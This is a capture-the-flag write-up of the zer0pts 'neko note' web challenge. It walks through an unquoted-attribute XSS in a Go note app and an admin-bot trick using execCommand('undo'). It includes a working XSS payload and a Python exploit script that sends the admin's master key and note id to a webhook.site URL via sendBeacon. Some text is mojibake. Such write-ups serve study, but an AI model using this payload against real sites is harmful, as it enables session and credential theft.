Sadly, I solved only few challenges in zer0pts CTF :( . Write this for studying.
The more web api you know, the easier you solve.
This is a service that we can upload a post and report it to admin.
./app
βββ Dockerfile
βββ go.mod
βββ go.sum
βββ main.go
βββ report.go
βββ static
β βββ style.css
βββ views
βββ index.html
βββ note.html
Let's check core code of this challenge.
β main.go
var conn *redis.Client
var useRecaptcha bool
var siteKey string
var secretKey string
type Note struct {
Id string `json:"id"`
Title string `json:"title"`
Body string `json:"body,omitempty"`
Locked bool `json:"locked"`
Password string `json:"-"`
}
var notes map[string]Note = map[string]Note{}
var masterKey string
var linkPattern = regexp.MustCompile(`\[([0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12})\]`)
It works with redis DB. Define structure of database and other variables. It defines "masterKey" value and we need to remember this.
// replace [(note ID)] to links
func replaceLinks(note string) string {
return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
id := strings.Trim(s, "[]") // delete every strings "[]"
note, ok := notes[id]
if !ok {
return s
}
title := html.EscapeString(note.Title)
return fmt.Sprintf(
"<a href=/note/%s title=%s>%s</a>", id, title, title,
)
})
}
// escape note to prevent XSS first, then replace newlines to <br> and render links
func renderNote(note string) string {
note = html.EscapeString(note)
note = strings.ReplaceAll(note, "\n", "<br>")
note = replaceLinks(note)
return note
}
When post is created, by using htmlescape, service prevents triggering xss and exchange "\n" into "<br>" tag. After sanitizing post's title, make it into <a> tag.
β /views/index.html
function renderHistory(id, title) {
let a = document.createElement('a');
a.href = `/note/${id}`;
a.textContent = title;
let li = document.createElement('li');
li.appendChild(a);
notes.appendChild(li);
}
function getHistory() {
const res = localStorage.getItem('neko-note-history');
if (res === null) {
return [];
}
return JSON.parse(res);
}
function setHistory(hist) {
localStorage.setItem('neko-note-history', JSON.stringify(hist))
}
function addHistory(id, title) {
let hist = getHistory();
hist.push({ id, title });
setHistory(hist);
renderHistory(id, title);
}
addHistory(res.id, title.value);
It saves "id", "title" of post in localStorage("neko-note-history") that user made. When we make a post name is "a", you can see history like below.
β /bot/index.js
try {
const context = await browser.newContext();
const page = await context.newPage();
// post a note that has the flag
await page.goto(`${BASE_URL}/`);
await page.type('#title', 'Flag');
await page.type('#body', `The flag is: ${FLAG}`); // flag is here!
const password = crypto.randomBytes(64).toString('base64');
await page.type('#password', password);
await page.click('#submit');
// let's check the reported note
await page.goto(`${BASE_URL}/note/${id}`);
if (await page.$('input') != null) {
// the note is locked, so use master key to unlock
await page.type('input', MASTER_KEY);
await page.click('button');
// just in case there is a vuln like XSS, delete the password to prevent it from being stolen
const len = (await page.$eval('input', el => el.value)).length;
await page.focus('input');
for (let i = 0; i < len; i++) {
await page.keyboard.press('Backspace');
}
}
// it's ready now. click "Show the note" button
await page.click('button');
// done!
await wait(1000);
await context.close();
} catch (e) {
console.error(e);
}
await browser.close();
console.log('[+] done:', id);
};
When user report a specific post, admin would make Flag post. Then, enter MASTER_KEY into password and check reported note. The point is admin delete MASTER_KEY after click the button.
[ Point 1 ]
// replace [(note ID)] to links
func replaceLinks(note string) string {
return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
id := strings.Trim(s, "[]") // delete every strings "[]"
note, ok := notes[id]
if !ok {
return s
}
title := html.EscapeString(note.Title)
return fmt.Sprintf(
"<a href=/note/%s title=%s>%s</a>", id, title, title,
)
})
}
The service changes user's input into a tag. Bascially "EscapeString" is a countermeasure against XSS attack, but since the attribute value of <a> tag is not enclosed with "(double quote), it is able to trigger XSS.
When we enter "x autofocus onfocus=~~", <a> tag is built like this and we can trigger XSS.
<a href=/note/[post's id] title=x autofocus onfocus=[user's input]>x autofocus onfocus=[user's input]</a>
And another tiny point ! When you use "Trim" function, there is a big difference between Go and other language.
id := strings.Trim(s, "[]")
Most of people think it delete a pack of "[]" string in id variable, but in Go language, it delete every "[" , "]" even though they are separated.
Here is a example.
[ Point 2 ]
Okay, we see we can trigger XSS. But what next? Our final goal is enter Flag post with mater key. Let's check admin bot file again.
await page.goto(`${BASE_URL}/note/${id}`);
if (await page.$('input') != null) {
// the note is locked, so use master key to unlock
await page.type('input', MASTER_KEY);
await page.click('button');
// just in case there is a vuln like XSS, delete the password to prevent it from being stolen
const len = (await page.$eval('input', el => el.value)).length;
await page.focus('input');
for (let i = 0; i < len; i++) {
await page.keyboard.press('Backspace');
}
}
I said that after enter password with master key, admin delete master key. Before this action, admin check post first. If we intend Admin to do something with the XSS attack, it happens before the admin clears the password.
So first, we intend to stop clearing password by using XSS.
reference : https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand
We can use execCommand('undo') to stop clearing password. Then we should send master key's value to our webhook site. Also, we have to check out what the post id that admin made is. (use localStorage which name is "neko-note-history"). We use "navigator.sendBeacon" to exploit it.
referernce : https://developer.mozilla.org/ko/docs/Web/API/Navigator/sendBeacon
x autofocus onfocus=if(!window.AAAA){{document.execCommand('undo');setTimeout(function(){{navigator.sendBeacon('{HOOK_URL}',document.querySelector('input').value+'/'+JSON.parse(localStorage.getItem('neko-note-history'))[0].id)}},300)}}
When admin enter master key to check this post, we can get MASTER_KEY and id of flag post.
[ Point 3 ]
We made payload. But it's not over.
// replace [(note ID)] to links
func replaceLinks(note string) string {
return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
id := strings.Trim(s, "[]") // delete every strings "[]"
note, ok := notes[id]
if !ok {
return s
}
title := html.EscapeString(note.Title)
return fmt.Sprintf(
"<a href=/note/%s title=%s>%s</a>", id, title, title,
)
})
}
We should make two posts to trigger XSS. First one is base step of trigger XSS, second one is for actual attack.
Exploit code is like this. Let's do some test to understand.
def make_note(title: str, body: str) -> str:
res = requests.put(f"{BASE_URL}/api/note/new",
data = {
"title": title, "body": body, "password": "x"
}
)
return res.json()["id"]
title = f"x autofocus onfocus=if(!window.AAAA){{document.execCommand('undo');setTimeout(function(){{navigator.sendBeacon('{HOOK_URL}',document.querySelector('input').value+'/'+JSON.parse(localStorage.getItem('neko-note-history'))[0].id)}},300)}}"
body = 'x'
first_post = make_note(title, body)
print("first_Post: " + first_post )
title2 = "x"
body2 = f"[{first_post}]"
second_post = make_note(title2, body2)
print(body2)
# first_post : eeb0e504-a0aa-4a25-959e-c303e239ce50
# second_post : 706efd52-b035-46fe-bb71-0a133b43590f
Check first post!
No XSS Attack occurred. Because the payload doesn't convert into <a> tag.
However, what happens in second post?
Oh, it is converted into <a> tag and also XSS trigger occurred!
Exploit Code
import requests
BASE_URL = "http://localhost:8005"
HOOK_URL = "https://webhook.site/eb1ced50-a428-40b2-a43e-276e76ab4488"
def make_note(title: str, body: str) -> str:
res = requests.put(f"{BASE_URL}/api/note/new",
data = {
"title": title, "body": body, "password": "x"
}
)
return res.json()["id"]
title = f"x autofocus onfocus=if(!window.AAAA){{document.execCommand('undo');setTimeout(function(){{navigator.sendBeacon('{HOOK_URL}',document.querySelector('input').value+'/'+JSON.parse(localStorage.getItem('neko-note-history'))[0].id)}},300)}}"
body = 'x'
first_post = make_note(title, body)
print("first_Post: " + first_post )
title2 = "x"
body2 = f"[{first_post}]"
second_post = make_note(title2, body2)
print(body2)
print("Second Post: " + second_post)
print(f"{BASE_URL}/note/{second_post}")
"Dummy" is the flag post and "b929~~" is master key.
Flag
zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}
Note :
Web APIμ λν μ§μ λ° κ΅¬κΈλ§ λ Ένμ°λ₯Ό λ μμμΌ ν¨.